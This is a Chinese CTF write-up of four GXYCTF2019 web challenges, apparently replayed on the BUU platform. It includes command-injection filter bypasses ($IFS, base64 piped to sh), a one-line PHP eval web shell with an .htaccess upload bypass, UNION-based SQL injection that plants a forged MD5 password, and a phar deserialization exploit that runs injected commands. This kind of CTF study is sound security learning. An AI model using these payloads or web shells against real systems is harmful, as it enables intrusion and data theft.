BUU那个文档写的太多了,部分迁移一下。
GXYCTF没有参加线上的,然后来BUU复现,应该是某个大学的新生杯吧,都还挺简单的。

1.[GXYCTF2019]Ping Ping Ping

进入页面后显示/?ip=
意思就是get传入可执行命令拿到flag.
这里尝试ip=127.0.0.1&&ls,ls好像没有执行,换一个

    ip=127.0.0.1&&ls
    ip=127.0.0.1;ls
    ip=127.0.0.1||ls

结果只有或成功了,就是上面第三个,然后发现了flag.php与index.php
接下来尝试127.0.0.1||cat flag.php
然后是:/?ip= fxck your space!
那就是空格被过滤了,试试Url中的+,%0a等等,也被过滤了。
百度了一下发现linux下空格过滤有:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS、
<>看样子被过滤了,%20也过滤了,
后门三个没被过滤:$IFS$9、 ${IFS}、$IFS
这下是fxck your flag,看样子直接书写flag也是不行的
绕过flag方法就多了有:base64,hex,oct,单引号双引号,反斜杠,拼接
我们一个一个试试:
下面所有的空格用:$IFS
先试试base64
?ip=127.0.0.1||echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash ==>cat /flag
这个可能是哪个被过滤了,试试将bash改为sh
下面这个即可拿到flag,但是还要尝试下其他方法
?ip=127.0.0.1||echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
一直手动测试过滤规则不是办法,之前还有个index.php尝试读取:
?ip=127.0.0.1||cat$IFSindex.php
没有读取到。。怀疑是这个空格和后门都是英文字母混淆了,换成$IFS$9代替空格,查到源码如下

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

有了源码就好办了,
使用如下任意payload即可拿到flag

?ip=127.0.0.1||echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh  //编码的base64方法
?ip=127.0.0.1||a=g;cat$IFS$1fla$a.php  //拼接方法

2.[GXYCTF2019]BabyUpload

看名字就知道是上传绕过了,进去后先上传了一个1.phtml

GIF89a
<script language="php">@eval($_POST['666'])</script>

然后发现content-type不对,先改成image/jpeg,然后提示不能上传.ph文件。好了到这就是黑名单了。

黑名单的话直接传.htaccess文件,success!

SetHandler application/x-httpd-php

这样就可以上传1.jpg也会被解析成php了。
将上面那个1.phtml改成1.jpg上传成功。蚁剑连接拿到flag.

3.[GXYCTF2019]BabySQli

进去后是个登录框,先查看源代码发现search.php,进去发现可疑的BASE64,解码却是乱码试试base32,然后得到了

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
解码后得到:
select * from user where username = '$name'

然后就得到了这个sql语句。
这道题原题目有个提示:刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!
BUU复现的时候没有,先FUZZ测试后发现小括号都被过滤了,顿时有点懵,知道这个提示后想起来了。
考虑到md5哈希了密码,所以后端代码很可能是:

<?php
    if($row['username']==’admin’){
        if($row['password']==md5($pass)){
            echo $flag;
        }else{
            echo “wrong pass!”;
        }
    }
    else{ echo “wrong user!”;}
?

之前其实就做过这个实验,联合查询的数据不存在的时候会构造一个虚拟的数据。
如下图所示:

因而这道题类似,我们先测试出字段数目。

admin' union select 1,2,3,4 #  返回:Error: The used SELECT statements have a different number of columns
admin' union select 1,2,3 #     返回wrong pass!

因而字段数目为3,所以跟我们实验类似。因而我们直接使用如下payload

name=' union select 1,"admin","202cb962ac59075b964b07152d234b70" #&pw=123 

这里注意sql中一串的东西用引号括起来,上面那一串是123的md5先插入进去,然后检验123就通过了。
拿到flag.

[GXYCTF2019]BabysqliV3.0

同样跟前面一样的登录框,抓包,输入admin/123后使用的script弹窗密码错误。
所以极有可能前段判断弹框,并没有查询数据库。直接BP爆破试试。居然成功了!

然后登录。

进入页面后又来到了上传框。。然后发现url中

file=upload

因而猜测是否存在文件包含。结果我输入

?file=php://filter/read=convert.base64-encode/resource=index.php
当前引用的是 php://filter/read=convert.base64-encode/resource=index.php.fxxkyou!

感觉的确是被执行了,有可能是index.php不存在。测试upload.php,任然不存在
测试upload,页面出现base64
所有后端解析极有可能采用的是

$file=$_GET['file'].'php'

因而如果我们包含有php就会出错。所以直接输入upload反而得到源码,

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
    上传文件
    <input type="file" name="file" />
    <input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
    public $Filename;
    public $cmd;
    public $token;


    function __construct(){
        $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
        $ext = ".txt";
        @mkdir($sandbox, 0777, true);
        if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
            $this->Filename = $_GET['name'];
        }
        else{
            $this->Filename = $sandbox.$_SESSION['user'].$ext;
        }

        $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
        $this->token = $_SESSION['user'];
    }

    function upload($file){
        global $sandbox;
        global $ext;

        if(preg_match("[^a-z0-9]", $this->Filename)){
            $this->cmd = "die('illegal filename!');";
        }
        else{
            if($file['size'] > 1024){
                $this->cmd = "die('you are too big (′▽`〃)');";
            }
            else{
                $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
            }
        }
    }

    function __toString(){
        global $sandbox;
        global $ext;
        // return $sandbox.$this->Filename.$ext;
        return $this->Filename;
    }

    function __destruct(){
        if($this->token != $_SESSION['user']){
            $this->cmd = "die('check token falied!');";
        }
        eval($this->cmd);
    }
}

if(isset($_FILES['file'])) {
    $uploader = new Uploader();
    $uploader->upload($_FILES["file"]);
    if(@file_get_contents($uploader)){
        echo "下面是你上传的文件:<br>".$uploader."<br>";
        echo file_get_contents($uploader);
    }
}

?>

看了下WP发现非预期解实在太简单了,没太多学习意义,因而按照原题本意复现一波。
这道题仔细阅读代码发现没有unserialize()函数,所以反序列化是不行了。
但是有个上传框,这个点我还第一次见,那就是phar反序列化漏洞。从上面的过滤数据流没有ban,phar可能也有提示用phar的
感觉。
也就是说上传一个phar文件也会导致魔术方法执行从而导致RCE。搜一波原理
phar发序列化原理:
参考文章:seail-利用 phar 拓展 php 反序列化漏洞攻击面

phar文件对于php的意义就像jar文件对于java的意义。
它本质上是一个压缩包,它包含以下结构:

a stub

是phar的一个标志,格式为 ```stub xxx ``` xxx的部分内容不限,但收尾必须是 __HALT_COMPILER();?> 只有这样phar扩展才能识别这个文件为phar文件。

刚才说到他实际上是一个一种压缩文件。而他其中的部分重要信息会以序列化的形式存储在用户自定义
的meta-data,这也是最关键的地方。
我们去创建一个phar文件测试看一下meta-data.这之前需要把php.int中的
phar.readonly设置为off,否则无法生成phar文件。

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

然后用winhex打开看一下内容:

可以看到上面的meta-data的部分是序列化的字符串存储的。
那么怎么样反序列化呢?
php一大部分的文件系统函数通过phar://为协议解析phar文件时,都会将meta-data进行反序列化
受影响的函数有:

php识别Phar文件不是靠后缀仅仅靠其中的
__HALT_COMPILER();?>
这段代码。因而可以对phar文件伪装成其他任意格式的文件。只需要修改demo中的

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

利用当然需要三个条件:
1.phar文件要能够上传到服务器端。
2.要有可用的魔术方法作为“跳板”。
3.文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
这道题刚好满足了。

<?php
class Uploader{
    public $Filename;
    public $cmd;
    public $token;
}

$o = new Uploader();
$o->cmd = 'highlight_file("/var/www/html/flag.php");'; 
$o->Filename = 'test';
$o->token = 'GXYf966ca9e09125316b6bcc3a137f15449'; //$_SESSION['user']
echo serialize($o);

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

然后上传。
最后访问

http://82b7bdec-2eb5-474c-a8d9-027743e2e72f.node3.buuoj.cn/home.php?file=upload&name=/var/www/html/uploads/e5a53baf5015e612435c5224437477cc/GXYc17a19676d283e61cfd374d8f5b75413.txt

接下来上传任意文件即可得到flag.